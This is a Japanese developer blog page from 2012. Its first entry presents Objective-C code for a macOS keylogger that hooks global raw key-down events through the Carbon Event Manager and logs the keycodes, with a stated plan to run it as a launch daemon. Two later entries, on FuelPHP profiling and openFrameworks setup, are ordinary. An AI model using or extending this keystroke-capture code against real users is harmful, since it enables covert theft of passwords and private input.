Xcodeでキーロガーを作ろう (1)
[]

2012.01.18

このエントリーをはてなブックマークに追加
はてなブックマーク - Xcodeでキーロガーを作ろう (1)

env

  • OS X 10.6.8
  • Xcode 4.0.2

キーロガーの概要

  • Carbon Event Manager を使う
  • ユーザ空間で動くようにする => カーネルプログラミングなし
  • あわよくばデーモン化する => LaunchDaemon/Agent

Carbon Event Manager での簡単な実装

  • need Carbon.framework

list 1-1 (keyloggerAppDelegate.h):

#import <Cocoa/Cocoa.h>
#import <Carbon/Carbon.h>

@interface keyloggerAppDelegate : NSObject <NSApplicationDelegate> {
@private
    NSWindow *window;
}

@property (assign) IBOutlet NSWindow *window;

@end

list 1-2 (keyloggerAppDelegate.m):

#import "keyloggerAppDelegate.h"

@implementation keyloggerAppDelegate

@synthesize window;

OSStatus MyEventHandlerProc ( EventHandlerCallRef inHandlerCallRef,EventRef inEvent,void * inUserData)
{
    OSStatus result = eventNotHandledErr;
   
    // EventRecord what for ?
    /*
    EventRecord* rec;
    ConvertEventRefToEventRecord(inEvent, &rec);
    //NSLog(@"%s", rec.what);
    //printf("%i", rec->what);
    */

   
    // get event time on ocurred.
    EventTime t;
    t = GetEventTime(inEvent);
    NSLog(@"event time: %d", t);
   
    // get keyboard event parameters.
    UInt32 outData;
    OSStatus ret = GetEventParameter(inEvent, kEventParamKeyCode, typeUInt32, NULL, sizeof(outData), NULL, &outData);
    NSLog(@"%i", ret);
    if(ret == noErr){
        NSLog(@"keyCode: %i", outData);
    }
    else{
        NSLog(@"error occurred");
    }
    return result;
}

- (void)applicationDidFinishLaunching:(NSNotification *)aNotification
{
    EventTargetRef target = GetEventMonitorTarget();
   
    EventTypeSpec eventTypes[1];
    eventTypes[0].eventClass = kEventClassKeyboard;
    eventTypes[0].eventKind = kEventRawKeyDown;
   
    InstallEventHandler(
              target,
              &MyEventHandlerProc,
              1,
              eventTypes,
              NULL,
              NULL
    );
}

- (void)applicationWillTerminate:(NSNotification *)aNotification{
    NSLog(@"applicationWillTerminate");
}

@end

途中経過

FuelPHPをxhprofのCallGraphで表示した
[]

2012.01.15

このエントリーをはてなブックマークに追加
はてなブックマーク - FuelPHPをxhprofのCallGraphで表示した

env

  • PHP 5.3.8
  • XHProf 0.9.2

呼び出しグラフ

Summary

Snow Leopard + Xcode 4.02 で openFrameworks をセットアップ
[]

2012.01.11

このエントリーをはてなブックマークに追加
はてなブックマーク - Snow Leopard + Xcode 4.02 で openFrameworks をセットアップ

about

openFrameworks とはC++で書かれたオープンソースの{グラフィック、オーディオ}ライブラリ+開発ツールキットで、以下のようなことに使うそうだ:

  • OpenGL, GLEW, GLUT, libtess2 and cairo for graphics
  • rtAudio, PortAudio or FMOD and Kiss FFT for audio input, output and analysis
  • FreeType for fonts
  • FreeImage for image saving and loading
  • Quicktime and videoInput for video playback and grabbing
  • Poco for a variety of utilities

IDEは付属してないので、プラットフォームに合わせて自分で用意する。 Snow Leopard と Xcode 4.0.2 の組み合わせでも特に問題なく動くようだ。

env

  • OS X 10.6.8
  • Xcode 4.0.2

download openFrameworks

setup

詳細はここ:http://www.openframeworks.cc/setup/xcode/

  • 1: Xcodeをインストールする
  • 2: apps/examples/graphicsExample/graphicsExample.xcodeproj を開く
  • 3: ビルドして、動くかどうかを確かめる
    • 1: まず、左上のschemaセレクトボックス(fig1)から"openFrameworks"を選んで、ビルドする
    • 2: 次に、同じセレクトボックスのschemaから"graphicsExample"を選んで、ビルドしてアプリを実行してみる
  • 4: 無事動けば、セットアップ完了。

fig.1:

ビルド結果:

参考URL

以上